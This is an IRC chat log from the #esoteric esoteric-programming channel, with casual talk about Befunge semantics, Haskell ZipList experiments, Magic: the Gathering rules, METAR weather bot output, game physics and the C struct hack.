16:21:11 <fizzie> I guess I could've gotten the link-local fe80:: one to happen. Oh well.
16:57:42 <fizzie> I'm going to blame CloudAtCocks again.
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17:27:27 <zzo38> FireFly: I was thinking if you want auto increment reading, although maybe that isn't the best way.
17:27:40 <zzo38> I could certainly change some things if it would help.
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17:45:43 <fizzie> More esolangs.org traffic statistics: https://dl.dropboxusercontent.com/u/113389132/Misc/20140808-data.png
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19:33:58 <impomatic_> A diamond worth 12K was dropped from the sky near here for a treasure hunt today!
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19:47:16 <impomatic_> It landed somewhere within a 10 mile diameter circle.
19:48:08 <impomatic_> Last time I tied to find something I had the grid reference (location to approx 100 metres) and still didn't find it!
19:51:36 <int-e> time to get out those fake diamonds
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20:08:03 <mroman> I guess if they dropped it from a plane
20:08:12 <mroman> maybe the route was known of the plane
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21:23:48 <impomatic_> mroman: it was dropped from a weather balloon 20m high
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21:26:24 <int-e> must've been a very light diamond then. or perhaps you meant 20km
21:27:01 <int-e> (or miles? but 'm' is not the right abbreviation then)
21:35:29 <elliott> dropped from a height of 20 miles "tails" prowers
21:38:11 <Bike> isn't that less than 20 meters
21:40:39 <quintopia> impomatic_: did they have a tracking device on it?
21:42:18 <impomatic_> quintopia: apparently it was tracked somehow. Might be the easiest way to find it.
21:44:55 <elliott> Bike: I tried to find Knuckles' height for reference but it looks like that part of The Legend of the 10 Elemental Masters is no longer on the internet.
21:45:24 <Bike> why not just use the sonic fanon wiki
21:46:03 <Bike> oh, ulillillia. nvm i understand completely
21:47:13 <elliott> as I recall he's pretty tall.
21:47:19 <quintopia> impomatic_: indeed. figuring out how it is signalling its location, and follow that signal
21:47:25 <fizzie> You can use http://www.penny-arcade.com/comic/2011/07/27/the-pondiferous for reference.
21:47:55 <elliott> "Knuckles resembles a human, but with differences. Knuckles is neither male nor female, though referred to as a "he". Three-quarter-inch-thick dark-violet-colored (FFA000E0) fur covers his entire body. He is only 25 1/3 inches tall, 4 inches wide and 2.5 inches deep. Knuckles gets his name from his large hands, 40% bigger than a human his size would have."
21:47:55 <fizzie> (I'm trying to remember which comic I was trying to find and came across that one.)
21:48:04 <quintopia> impomatic_: unless they put it on a timer to not start signalling its location until the event is over. in which case, you need to have a lot of people in place to beat them to it
21:48:34 <elliott> wait his fur has alpha translucency. nice
21:48:47 <Bike> well yeah, fur is never totally opaque!
21:48:55 <Bike> why the hell does he use inches
21:51:05 <elliott> well, RGB ain't pretty either
21:51:28 <elliott> oh, it's ARGB I guess? so the fur is opaque
21:51:35 <Bike> at least it's common. who the hell uses thirds of inches? we don't even do that in the united states
21:57:30 <elliott> Q. I bought your book but it seems to be the wrong story. What do I do?
21:58:31 <Bike> well don't keep us waiting
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00:45:56 <HackEgo> [wiki] [[Blacktime]] N http://esolangs.org/w/index.php?oldid=40276 * Threeifbywhiskey * (+5948) Blacktime is born.
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05:10:08 <zzo38> I have not found MUD systems having the features I am looking for. I don't want system reset, for one. I also want various kind of triggers, based on sensing, quests, beliefs, etc. The ifMUD system (based on PerlMUD) can't do these kind of triggers, although it doesn't do a system reset, so that part OK. Also seems to slow down too much, and has no system for allowing a character to die while the account remains. Other systems I have look at are a
05:12:40 <zzo38> Do you have any suggestion though?
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08:43:35 <Sgeo> "Net Applications says IE 8 is the most popular single browser version worldwide, installed on more than 20 percent of all PCs running a desktop OS, including many that are still running Windows XP."
08:43:42 <Sgeo> Excuse me while I gouge my eyes out
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09:46:40 <HackEgo> [wiki] [[Befunge]] http://esolangs.org/w/index.php?diff=40277&oldid=40271 * Mikescher * (+138) /* External resources */
09:47:18 <HackEgo> [wiki] [[Befunge]] http://esolangs.org/w/index.php?diff=40278&oldid=40277 * Mikescher * (+9) /* External resources */
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11:07:43 <int-e> (hmm. of course not.)
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21:24:44 * impomatic_ has finally decided google is evil and is busy removing all google scripts from his websites!
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21:33:16 <edwardk> impomatic_: what brought you to this revelation?
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21:36:32 <impomatic_> edwardk: just one thing after another. No one particular thing :-)
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21:52:26 * int-e twiddles his thumbs.
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21:53:09 <lambdabot> LOWI 092120Z AUTO VRB02KT 9999 FEW009 BKN028 16/15 Q1019
21:53:46 <edwardk> i always wondered what would happen if you twiddled someone else's thumbs, it probably ends in getting punched in the nose.
22:00:04 * int-e rolls edwardk's eyes.
22:00:39 <elliott> children don't need to see this kind of mutual thumb twiddling and eye rolling
22:00:59 <int-e> what about nose picking?
22:02:24 <edwardk> you can pick your friends, you can pick your nose, but you can't pick your friend's nose.
22:02:48 <fizzie> I did not even read the prefix.
22:03:03 <int-e> yes, this is metasepia's fault
22:03:19 <int-e> if only it were more stable...
22:03:21 <lambdabot> EFHK 092150Z 26002KT CAVOK 16/14 Q1011 NOSIG
22:03:28 <fizzie> fungot: How come you can't do something like that?
22:03:51 <fizzie> fungot: Be that way, then!
22:05:35 <elliott> int-e: so when is lambdabot going to usurp fungot's chatting too?
22:05:36 <fungot> elliott: thanks. got it bookmarked and everything.
22:07:49 <int-e> elliott: sorry, not likely to happen.
22:20:18 <nooodl> edwardk: but can you pick your nose's friends
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23:21:48 <lambdabot> ESSA 092250Z 18009KT CAVOK 20/17 Q1009 TEMPO 4000 RA
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23:25:28 <int-e> Vorpal: hah. no new data in the last 2 hours
23:25:46 <Vorpal> int-e, not that surprising
23:25:55 <Vorpal> After all NZSP is the south pole
23:26:37 <int-e> NZSP 091750Z 00000KT 3200 BR OVC026 M54/ A2839 RMK CLN AIR 00000KT ALL WNDS GRID
23:26:55 <Vorpal> I have no idea what "ALL WNDS GRID" mean
23:27:08 <int-e> 17:50, and it's 23:25 now.
23:27:18 <Vorpal> The whole remarks section is strange everywhere
23:27:43 <Vorpal> every time I checked NZSP (every now and then for years) it said ALL WNDS GRID
23:28:15 <int-e> but for most places on earth, 2 hours seems to be a reasonable bound, I don't think I'm going to change it just for NZSP :)
23:28:16 <Vorpal> My best guess is that it uses a different coordinate system for wind directions to deal with the singularity that is the pole
23:29:07 <Vorpal> int-e, why filter old results at all?
23:29:22 <Vorpal> IIRC NZSP updates like a couple of times per day
23:29:28 <int-e> "Query must be constrained by time; "
23:29:58 <Vorpal> I just googled and http://weather.noaa.gov/pub/data/observations/metar/stations/NZSP.TXT which has the latest data
23:31:19 <int-e> didn't find that; I'm querying an ADDS server and that demands a time limit. otoh, it could potentially return historic data, too.
23:32:23 <Vorpal> int-e, yeah I think NZSP updates like twice a day or when they expect a flight
23:32:32 <int-e> here's 10 days worth of data for NZSP: https://aviationweather.gov/adds/dataserver_current/httpparam?dataSource=metars&requestType=retrieve&format=csv&hoursBeforeNow=240&stationString=NZSP
23:32:32 <Vorpal> Based on some casual observations
23:33:23 <Vorpal> int-e, Twice a day seems correct
23:33:27 <int-e> (well, not quite 10 days)
23:34:58 <int-e> 8 days, apparently.
23:38:17 <Vorpal> <lambdabot> fizzie said 4d 5h 44m 33s ago: Having "s" at edge of the playfield causes the placed character to go where wrapping puts it; there seems to be a vague consensus that s should not wrap. See http://sprunge.us/dZdS for most of the relevant context. <-- I'll look into it
23:38:44 <Vorpal> @tell fizzie Does mycology test the s wrapping?
23:40:22 <elliott> obviously not if cfunge passes :p
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23:43:25 <fizzie> Probably not. And you could make an argument for UNDEF, anyhow, though you could also argue that the wording in the spec is at least biased towards not wrapping.
23:45:08 <Vorpal> Yeah mycology could test it as UNDEF
23:45:22 <Vorpal> Anyway I will take a look tomorrow probably
23:45:49 <fizzie> A search thing that could ignore "obvious" stringmode strings would be useful in finding tests in mycology.
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00:48:24 <zzo38> How much can you mulligan in Magic: the Gathering, down to zero or down to one?
00:51:17 <int-e> "(Note that if a player’s hand size reaches zero cards, that player must keep that hand.)"
00:52:35 <zzo38> Some players only mulligan down to one card though
00:53:24 <int-e> well, it's hard to see an advantage in having no cards at all
00:55:52 <int-e> (if you want more cards in your library you can just make it larger than 60 cards to begin with)
00:59:16 <int-e> hmm, the last time I downloaded the MtG comprehensive rules, they were still available as text files.
00:59:32 <int-e> must have been 5 years or more.
01:05:07 <zzo38> In a Limited format the minimum is 40 cards though, rather than 60
01:06:13 <zzo38> (Although you normally you can still add however many basic lands you want)
01:09:11 <zzo38> The maximum number of cards which are not basic lands is normally 45, as far as I can tell.
01:09:58 <int-e> but that's not stipulated by any rule. see 100.5.
01:11:15 <zzo38> It isn't one of the rules of the game, but you won't have more cards than that, therefore there is a hard limit of 45 even though the rules do not specify any maximum.
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01:17:20 <zzo38> Also for mulligan, possibly your opponent has a lot of cards too and not only you, or some opponent's effect (or possibly one of your own effect) based on number of cards in your hand.
01:19:08 <shachaf> int-e: The change is pretty recent.
01:19:39 <shachaf> zzo38: You mean in draft format in particular?
01:20:58 <zzo38> shachaf: Yes, in a standard draft the hard limit is 45. In other formats there are other limits. (For example in a standard Constructed format the hard limit is four times the number of non-banned cards in the current block.)
01:21:21 <shachaf> zzo38: It could be more with http://gatherer.wizards.com/Pages/Card/Details.aspx?multiverseid=382298
01:23:46 <zzo38> shachaf: If that set is being drafted, then yes. I didn't see that card before. I like this.
01:24:21 <zzo38> I have also heard of cards that are banned before they are released, therefore meaning they are only usable in Limited formats.
01:24:58 <zzo38> O, it has other cards affecting drafts too.
01:25:42 <int-e> how about http://gatherer.wizards.com/Pages/Card/Details.aspx?multiverseid=205082
01:26:07 <Sgeo> shachaf: how is that a real card?
01:26:13 <Sgeo> Seems almost like those old cards with ante
01:26:52 <Sgeo> "There is a Conspiracy afoot, and it appears that the main objective is to introduce all sorts of awesome mechanics into drafts around the world. "
01:29:16 <int-e> oh there's another one, http://gatherer.wizards.com/Pages/Card/Details.aspx?multiverseid=370746
01:29:47 <int-e> And it needs it ... "Sacrifice six creatures named "Shadowborn Apostle: ..."
01:30:53 <zzo38> That means there is no limit in Constructed when M14 is the set being used and it is not banned.
01:32:22 <zzo38> Or you can use card to change the name of other cards!!!
01:32:40 <int-e> right, but that's usually a lot more effort :)
01:34:18 <shachaf> i,i shadowborn apostle + progenitor mimic
01:34:59 <zzo38> You might need it if you are making up a kind of Limited format that not only has a card like Shadowborn Apostle or something similar, but also other sets also used that have card to allow changing name of other cards too.
01:38:58 <int-e> yay, "probably". " You can choose not to copy anything. In that case, Progenitor Mimic enters the battlefield as a 0/0 Shapeshifter creature and is probably put into the graveyard immediately."
01:43:29 <shachaf> flip three coins. if you lose any of the flips, progenitor mimic is put into the graveyard immediately. otherwise, progenitor mimic is put into the graveyard as a state-based action
01:43:51 <int-e> that Progenitor is a tricky card.
01:43:59 <int-e> shachaf: not what they mean :)
01:44:53 <shachaf> state-based actions aren't actually "immediately", i found out
01:46:40 <shachaf> for example, if something costs {G}+sacrifice a creature, you can pay for it by putting a -0/-1 counter on Wall of Roots, which brings it to 0/0, and then sacrificing it
01:47:19 <Bike> what's the point of the counter?
01:47:53 <shachaf> http://gatherer.wizards.com/Pages/Card/Details.aspx?multiverseid=220566 -- you get {G} by doing it
01:49:29 <shachaf> but no one gets priority so state-based actions aren't checked
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01:57:00 <int-e> ah, stupid mana abilities.
02:05:16 <shachaf> It seems odd to me that you don't just pay for spells with mana that's in your pool.
02:05:30 <shachaf> (But instead you first announce the spell, then get the mana to pay for it.)
02:05:53 <shachaf> I suppose it makes sense for things like convoke, though?
02:12:54 <zzo38> Well, you might already have the mana but maybe not, then
02:13:48 <shachaf> Magic: The Gathering is too complicated
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02:26:54 <zzo38> Well, I like the Magic: the Puzzling.
02:33:51 <zzo38> Do you like Pokemon card though?
02:40:55 <zzo38> O, this new Magic: the Gathering set has a new card type; all Conspiracy cards are banned by definition, it seems, so they are used only in Limited formats.
02:42:27 <pikhq> Conspiracy is actually quite a fun format.
02:59:11 <zzo38> It also look many cards have features design for more than two players too but can also work even if the game has only two players at a time.
02:59:59 <shachaf> Yes, it's meant for multiplayer games.
03:01:05 <zzo38> (A variant could be to use private voting when only two players remain, or add additional conditions too.)
03:02:47 <zzo38> I prefer only two players in a single game though
03:06:22 <zzo38> Or at least not more than three players anyways
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03:19:37 <zzo38> Actually, it is an idea: Start with three players; after one player is eliminated then the remaining players each gain 1 life. Furthermore, voting is public whenever more than two votes are to be made (even if they are made by only two players), and private if only two votes are to be made (including if there are three players but an effect prohibits one player from voting).
03:21:59 <zzo38> I think a card someone made up once was "Altar of Unimaginable Power", meaning that whenever a player loses the game, choose one--target player gains 20 life or target player loses 20 life.
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05:33:28 <oerjan> <fizzie> @metar EFHK <-- what. this changes EVERYTHING.
05:33:52 <lambdabot> ENVA 100520Z 15010KT 120V190 CAVOK 19/09 Q1000 NOSIG RMK WIND 670FT 18016G30KT
05:35:27 -!- oerjan has set topic: lambdabot takes over metasepia's metar duties due to the latter's abysmal attendance | brainfuck survey: https://www.surveymonkey.com/s/L82SNZV | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/.
05:36:00 <oerjan> it was inevitable, really. (how long has lambdabot had @metar?)
05:37:22 <oerjan> oh looks like int-e just added it.
05:41:54 <oerjan> <edwardk> you can pick your friends, you can pick your nose, but you can't pick your friend's nose. <-- i see several counterexamples on google hth
05:43:48 <Sgeo> GitHub pages is so slow
05:43:55 <Sgeo> Also fsck JSONP
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05:59:49 <Sgeo> http://sgeo.github.io/tagpromusic.htm
06:00:01 <Sgeo> Besides no longer needing to run unsafely, I killed the jQuery dependency
06:00:18 <Sgeo> oops wrong channel
06:02:31 <shachaf> zzo38: You wrote "data LeftCo m f x = forall z. LeftCo (f (m z) -> x) (f z)" in a comment once. Where did that type come from?
06:02:54 <zzo38> shachaf: I do not remember?
06:03:13 <shachaf> In http://comonad.com/reader/2011/monads-from-comonads/
06:04:00 <zzo38> I still don't know.
06:04:11 <shachaf> OK. Do you have any idea what it might be?
06:05:48 <zzo38> Sorry, I cannot think of it right now
06:14:23 <oerjan> @let diag [] = []; diag [[]] = []; diag ((x:_):ys) = x : diag (map (drop 1) ys)
06:14:35 <oerjan> > diag [[1,2,3],[4,5,6]]
06:15:15 <oerjan> @let diagMaybe l | (length . nub $ map length l) == 1 = Nothing | otherwise = Just (diag l)
06:19:05 <oerjan> @check \ll -> (do l1 <- diagMaybe =<< diagMaybe ll; l2 <- diagMaybe =<< mapM diagMaybe ll; return ((l1 :: Int) == l2)) /= Just False
06:19:07 <lambdabot> Couldn't match expected type ‘GHC.Types.Int’
06:19:07 <lambdabot> with actual type ‘[t0]’ Relevant bindings include l2 :: [t0] (bound at <inte...
06:19:17 <oerjan> @check \ll -> (do l1 <- diagMaybe =<< diagMaybe ll; l2 <- diagMaybe =<< mapM diagMaybe ll; return ((l1 :: [Int]) == l2)) /= Just False
06:19:18 <lambdabot> *** Failed! (after 7 tests and 3 shrinks):
06:19:19 <lambdabot> Exception: L.hs:(149,1)-(151,48): Non-exhaustive patterns in function diag [...
06:20:17 <oerjan> @let diag [] = []; diag [[]:_] = []; diag ((x:_):ys) = x : diag (map (drop 1) ys)
06:20:26 <oerjan> @let diagMaybe l | (length . nub $ map length l) == 1 = Nothing | otherwise = Just (diag l)
06:20:33 <oerjan> @check \ll -> (do l1 <- diagMaybe =<< diagMaybe ll; l2 <- diagMaybe =<< mapM diagMaybe ll; return ((l1 :: [Int]) == l2)) /= Just False
06:20:35 <lambdabot> Couldn't match type ‘[t0]’ with ‘GHC.Types.Int’
06:20:35 <lambdabot> Expected type: [GHC.Types.Int] Actual type: [[t0]] Relevant bindings include...
06:21:59 <oerjan> ...why is it suddenly not type checking
06:22:12 <Bike> you are unworthy
06:22:22 <oerjan> I DID NOT CHANGE THAT FUNCTION
06:22:55 <oerjan> diag has too many []'s in its type now
06:23:14 <oerjan> @let diag [] = []; diag ([]:_) = []; diag ((x:_):ys) = x : diag (map (drop 1) ys)
06:23:24 <oerjan> @let diagMaybe l | (length . nub $ map length l) == 1 = Nothing | otherwise = Just (diag l)
06:23:33 <oerjan> @check \ll -> (do l1 <- diagMaybe =<< diagMaybe ll; l2 <- diagMaybe =<< mapM diagMaybe ll; return ((l1 :: [Int]) == l2)) /= Just False
06:23:34 <lambdabot> *** Failed! Falsifiable (after 17 tests and 17 shrinks):
06:24:25 <oerjan> > diagMaybe [[[0],[]],[[],[0,0]],[]]
06:24:30 <shachaf> oerjan: do you know the monads-from-comonads thing
06:24:56 <oerjan> no, just vaguely heard "every comonad is a monad transformer"
06:25:11 <shachaf> yes, we were talking about it in the other channel
06:25:23 <shachaf> i thought i talked to someone else about this but i don't remember who
06:25:37 <oerjan> > mapM diagMaybe [[[0],[]],[[],[0,0]],[]]
06:26:08 <oerjan> > diagMaybe =<< diagMaybe [[[0],[]],[[],[0,0]],[]]
06:26:41 <oerjan> > diagMaybe [[0],[0,0]]
06:26:50 <oerjan> that should give Nothing, hmph
06:27:10 <oerjan> ...i've reversed the bloody test...
06:27:14 <zzo38> What does diagMaybe mean?
06:27:27 <oerjan> @let diag [] = []; diag ([]:_) = []; diag ((x:_):ys) = x : diag (map (drop 1) ys)
06:27:30 <zzo38> O, now I can see it above
06:27:53 <oerjan> @let diagMaybe l | (length . nub $ map length l) > 1 = Nothing | otherwise = Just (diag l)
06:28:12 <oerjan> @check \ll -> (do l1 <- diagMaybe =<< diagMaybe ll; l2 <- diagMaybe =<< mapM diagMaybe ll; return ((l1 :: [Int]) == l2)) /= Just False
06:28:18 <oerjan> @check \ll -> (do l1 <- diagMaybe =<< diagMaybe ll; l2 <- diagMaybe =<< mapM diagMaybe ll; return ((l1 :: [Int]) == l2)) /= Just False
06:28:22 <oerjan> @check \ll -> (do l1 <- diagMaybe =<< diagMaybe ll; l2 <- diagMaybe =<< mapM diagMaybe ll; return ((l1 :: [Int]) == l2)) /= Just False
06:29:15 <oerjan> to prove that ZipList isn't a Monad, you _have_ to consider joins of lists that aren't immediate what they should be from the Applicative operations
06:29:34 <oerjan> (well, unless counterexamples are too hard for @check)
06:29:49 <oerjan> i.e. joins of non-rectangular lists of lists
06:30:26 <oerjan> (the real meaning of diagMaybe is to be a diagonal function which censors non-rectangular lists)
06:32:14 <oerjan> i keep coming back to this problem because although it's haskell folklore that it is impossible, i have never seen a rigorous proof that doesn't guess at what join / (>>=) "should" be.
06:32:45 <oerjan> (i know join has to be taking the diagonal for rectangular lists.)
06:33:26 <zzo38> Yes, that much is believed clear; I can see that clearly enough.
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06:39:07 <oerjan> so i was thinking this morning that i didn't remember seeing a proof that you cannot get a contradiction simply from using join on rectangular lists, and decided to put that through quickcheck.
06:39:32 <oerjan> but it seems that doesn't work to get a counterexample.
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08:13:54 <mroman> http://i.imgur.com/LyOgG9R.png
08:14:01 <mroman> That's some weird looking fractal thingy
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08:20:06 <fizzie> The general style looks a lot like the usual (x*y)%N plot, with some sort of an extra tweak.
08:20:15 <fizzie> http://www.wolframalpha.com/input/?i=plot+%28x*y%29+mod+0.1%2C+x%3D-1..1%2C+y%3D-1..1
08:23:30 <Sgeo> Um. I just stumbled upon an attack POC that someone said "Do not disclose" next to
08:37:25 -!- Deewiant has set topic: Do not disclose | brainfuck survey: https://www.surveymonkey.com/s/L82SNZV | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/.
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09:34:56 <J_Arcane> Is there any useful value in a POP instruction that sends the popped data nowhere? ie. just deletes the top of the stack?
09:36:15 <oerjan> immensely useful in underload :P
09:38:45 <J_Arcane> The machine spec I'm working on has two pop instructions. POP (h60) simple pulls the top of the stack and does nothing with it, POTA (h61) actually returns the value to the designated address.
09:39:06 <J_Arcane> This seems somewhat counter to expected operation re: most pop instructions I'm finding from other machines.
09:54:30 <mroman> if you can just adjust the Stack Pointer
09:54:40 <mroman> then no, such a POP instruction would be useless
09:55:03 <mroman> other than it might be a 1-byte instruction which add sp, 4 might not be
09:55:37 <J_Arcane> In this case, the stack pointer is internal, so it does seem like the easiest way to simply clear the stack.
09:56:28 <J_Arcane> I could make POTA the default behavior, and make a DEL instruction that does the delete top stack thing, but I think I like the current method better.
09:57:28 <mroman> or you introduce a NULL-register
09:57:45 <mroman> which writes to nirvana
09:58:15 <mroman> although that's pretty stupid
09:58:29 <mroman> because you probably would only use it in conjunction with POP
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10:25:49 <FireFly> MIPS' r0 acts as a /dev/null register, IIRC
10:26:03 <FireFly> or, well, as /dev/zero when read and as /dev/null when written to
10:26:49 <fizzie> That's how /dev/zero acts when written to.
10:26:56 <fizzie> So you can just say it acts as a /dev/zero register.
10:27:52 <fizzie> Writing to it causes a processor exception?
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11:05:43 <FireFly> Oh, makes sense that writing to /dev/zero would do nothing
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12:17:30 <Taneb> I am back on IRC, ho ho
12:32:07 <Taneb> It's a little weird downloading software from a server I've seen
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12:58:43 <Vorpal> <Taneb> It's a little weird downloading software from a server I've seen <-- oh?
13:04:32 <Taneb> Vorpal, visited Bytemark, who have a Debian package mirror
13:05:59 <Taneb> Like, I could get a bus to the magic internet place where software comes from
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13:10:32 <Taneb> And suddenly the magic isn't so magic any more?
13:10:42 <Taneb> I guess this may come from having grown up with the internet
13:11:16 <Vorpal> Taneb, I guess it was never magic for me to begin with
13:11:52 <Vorpal> Taneb, But then we didn't have Internet at home, until I was about 5 or 6. And that was a 28 kbit modem
13:12:10 <Vorpal> Didn't get always-connected until like 2004 or 2005?
13:12:23 <Vorpal> still have bloody ADSL
13:14:56 <Vorpal> fizzie, do you have a test program for the wrapping s thing?
13:15:06 <Vorpal> So I can test it doesn't wrap properly
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13:34:11 <Taneb> `quote package manager
13:34:12 <HackEgo> 1056) <elliott> you know, when people talk about emacs being an OS I doubt what they had in mind was that it needed a package manager
13:38:01 <Vorpal> @tell fizzie Do you have a test program for the wrapping s thing?
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14:02:33 <Melvar> Idris doesn’t need ZipList.
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14:24:27 <fizzie> Vorpal: I think something like what I tested with, ;@.g0+6a;#;_1'xs (and nothing else in the program) should print 120 if I counted right. If not, you can adjust the a6+ part to see what's what.
14:24:48 <fizzie> I was supposed to @tell that.
14:25:01 <fizzie> @tell Vorpal I think something like what I tested with, ;@.g0+6a;#;_1'xs (and nothing else in the program) should print 120 if I counted right. If not, you can adjust the a6+ part to see what's what.
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14:27:13 <fizzie> !befunge98 ;@.g0-10.g0+ca;#;_1'xs
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14:27:22 <fizzie> And that should print "120 32" instead of "32 120".
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16:15:52 <HackEgo> [wiki] [[Dc]] http://esolangs.org/w/index.php?diff=40279&oldid=40262 * Rdebath * (+1102) Expand on the interactions of variables and two small fixes.
16:18:46 <HackEgo> [wiki] [[Dc]] http://esolangs.org/w/index.php?diff=40280&oldid=40279 * Rdebath * (+31) /* Named stacks */
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19:46:16 <J_Arcane> I made a virtual machine. Not sure if it counts as an esolang, but I thought folks might be interested: https://github.com/jarcane/MicroMini
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19:50:58 <Bike> @google racket language
19:51:11 <Bike> have fun on your educational journey!
19:55:20 <int-e> nice post, "Chief philosophy officer"
19:56:22 <J_Arcane> myname: Racket is a Scheme derivative, formerly known as PLT Scheme. It's a Lisp, with a special focus on teaching and custom language/dialect development.
20:00:16 <int-e> hmm, apparently the meaning of PLT will never be known. https://en.wikipedia.org/wiki/Talk%3aRacket_%28programming_language%29#What_does_PLT_stand_for.3F
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20:58:42 <Phantom_Hoover> at some point they patched the mechanics so old solutions don't work any more
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21:00:03 <nooodl> Phantom_Hoover: that was veeery long ago wasn't it
21:00:18 <fizzie> I'm suddenly reminded of Minecraft patching out buggy physics so that minecart boosters don't work.
21:00:30 <Phantom_Hoover> see if you can get this to work: http://spacechem.net/solution/exploding-head-syndrome/76029
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21:01:51 <Taneb> fizzie, remember the ridiculous boat mechanics?
21:02:20 <Phantom_Hoover> seems to be something to do with the bonder priority though; machines trying to recombine two H-O molecules to and H-H and O=O are the ones that keep failing]
21:03:00 <Taneb> Where you could literally be launched for meters upward in a boat
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21:03:46 <fizzie> Taneb: Yes, I vaguely recall boatlevators.
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21:05:28 <fizzie> I made a Terraria infinite water/lava/obsidian generator the other day, and now I wonder when they are going to change their physics for that not to work any more.
21:06:44 <ais523_> fizzie: that sounds very Dwarf Fortress
21:07:12 <nooodl> i think i was late for minecraft physics being very dumb :(
21:08:31 <Taneb> I saw a quote somewhere that DF physics were so preposterous that they caused Isaac Newton to spin in his grave fast enough to power an entire fortress
21:08:51 <ais523_> well, there are various ways to construct perpetual motion machines in DF
21:09:12 <fizzie> ais523_: The way it works in Terraria is that liquids these days get subtly more volume when they run down stairs (they used to do it when just falling, but apparently that might not be quite the case now), so you just make a zigzag staircase in an enclosed space, then put a inlet pump at the bottom and outlet pump at the top, and it'll eventually fill the entire enclosure with the liquid.
21:09:16 <Taneb> Watermill and archimedes screw
21:09:18 <Phantom_Hoover> well, all of them are just a pump bolted to a water wheel
21:09:26 <fizzie> Faster if it's water, since lava is more viscous.
21:15:29 <Phantom_Hoover> well great, the spacechem solutions website is well and truly down
21:16:16 <myname> find your own solution
21:17:40 <Phantom_Hoover> i gave up on bothering some time ago, i just want to watch the story and look at cool solutions now
21:18:51 <Taneb> I'm crap at spacechem
21:20:05 <fizzie> Have they added to the storyline or anything? I played it quite far through back then.
21:20:45 <Taneb> Like, I think I got to the second planet?
21:21:22 <Phantom_Hoover> i got to... a bit of the way through the third before giving up
21:21:57 <Phantom_Hoover> i don't think spacechem really scales elegantly to more complex puzzles
21:22:17 <fizzie> I did at least the laser thing.
21:22:28 <fizzie> And some sort of a space shooter thing.
21:25:36 <fizzie> I'm not sure if I actually finished the very last level, but I at least got to it.
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21:30:14 <fizzie> I looked at the savefile SQL db, and select id, passed from Level where id like '%-boss'; says I've passed six bosses but not one.
21:31:12 <fizzie> For one of the boss fights I had a really crummy solution, and actually getting through was pretty much a fluke.
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22:10:34 <Sgeo> http://www.reddit.com/r/funny/comments/2d56oy/software_engineers_will_understand/cjmc2yk
22:13:22 <Taneb> Although not unexpected
22:13:38 <Taneb> (I know someone who is porting an old fortran code base to python or something)
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22:42:43 <Sgeo> Some random person said "Its well written code Sgeo"
22:42:45 <Sgeo> Bit of an ego boost
22:43:30 <Taneb> I need to get more practise working on larger codebases
22:44:12 <Sgeo> This is a very small codebase, so that's convenient
22:45:46 <Taneb> Sgeo, what codebase?
22:45:58 <Sgeo> https://github.com/Sgeo/sgeo.github.io/blob/master/tagpromusic.htm
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23:07:57 <J_Arcane> I think I need to learn a different lisp.
23:15:52 <J_Arcane> http://imgur.com/gallery/wR3ZxfB
23:48:58 <HackEgo> [wiki] [[User:Harpyon]] http://esolangs.org/w/index.php?diff=40281&oldid=21665 * Harpyon * (-65) removed dead link
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03:40:49 <Bike> If I have a C struct like struct foo { bla bla bla; char bar[1]; } what's the number do?
03:42:03 <zzo38> Bike: What number are you meaning, the array length?
03:43:50 <zzo38> Clearly, it is the length of the array; it has one element.
03:44:00 <zzo38> So that is how much space is allocated in the structure.
03:44:43 <Bike> the code i'm looking at allocates more than that, though, is why i'm wondering
03:46:20 <Bike> typedef struct symbol_s { size_t length; char string[1]; } symbol_s; and then for a symbol it allocates offsetof(symbol_s, string) + length + 1
03:47:01 <zzo38> That is a workaround for the lack of the GNU extension allowing an array length to be zero.
03:47:29 <zzo38> If GNU extensions are used you can avoid this by declaring the array length as zero, therefore allocating no space at all in the structure. It is pretty useful actually.
03:47:56 <Bike> so is it conformant? like, does that let you have the string be longer?
03:48:09 <Bike> the 1 is for a null terminator so not being zero is okay, i guess
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05:16:02 <fizzie> Bike: The "struct hack" is generally considered to not be 100% kosher.
05:16:19 <fizzie> Bike: That's possibly why C99 added the flexible-length array members as a workaround.
05:16:21 <Bike> but well known enough to be named, huh
05:16:39 <fizzie> http://c-faq.com/struct/structhack.html
05:16:55 <fizzie> The fact it's so common is possibly why C99 added the flexible-length array members as a workaround.
05:17:36 <fizzie> These days you can write struct foo { size_t length; char string[]; } and it'll be somewhat like the GCC zero-length array.
05:17:42 <fizzie> (There are slight differences.)
05:18:37 <fizzie> I said that C99 thing twice? Uh. Well, I just woke up.
05:19:19 <Bike> oh, link's perfect, thanks
05:19:39 <Bike> char string[] is more what i'd expect, though, good to know
05:20:02 <Bike> i just wasn't sure if foo[1] in a struct actually meant "length one" instead of like in function arguments (?) where it's bullshit
05:20:03 <fizzie> People still avoid C99 features. I mean, it's just 15 years by now.
05:20:17 <Bike> not even old enough for a driver license
05:20:29 <fizzie> And admittedly it's not like MSVC still supported it.
05:20:35 <Bike> actually, at my job I can't use C99, so like -_-
05:21:02 <zzo38> I prefer the GNU zero length arrays because it is more sensible to me. They also don't even have to be at the end of a structure, and zero-length arrays can be used in unions too, I think; isn't it?
05:21:03 <Bike> not that this is for work.
05:22:51 <fizzie> I assume they can; I think you can put a zero-length array anywhere a regular array can go.
05:23:49 <fizzie> Though having it in the middle of a struct does not sound incredibly useful.
05:24:24 <Bike> Maybe if you want multiple ones in one struct?
05:24:41 <Bike> still at the end so you can use offsetof on everything else, i guess
05:25:28 <zzo38> Another use of zero-length arrays might also be for use of sizeof in macros, for example sizeof(((struct XYZ*)0)->array0[0]) or whatever might be used
05:25:29 <elliott> fizzie: is there any source for the reading of the spec which forbids it?
05:26:08 <zzo38> And I think having it in the middle can be useful, not only if you want multiple ones, but also for purposes of offsets in many cases, I believe.
05:26:47 <fizzie> elliott: http://www.open-std.org/jtc1/sc22/wg14/docs/rr/dr_051.html
05:27:24 <fizzie> Though I think comp.lang.c disagreed even on the "safer idiom" presented there.
05:29:10 <elliott> the safer one looks more dangerous to me
05:29:15 <elliott> you don't even have a full object
05:29:58 <fizzie> Yes. And there was something about accessing structure members.
05:30:41 <elliott> the reason for rejecting the original program seems rather fishy
05:31:01 <elliott> like it's extending an implementation freedom way beyond what it'd actually be able to do without breaking the language
05:32:04 <fizzie> Bounds-checking by "fat" pointers that contain the declared length was explicitly allowed somewhere, I think.
05:32:25 <fizzie> That's the usual justification; it could throw some sort of an assertion error on access beyond that.
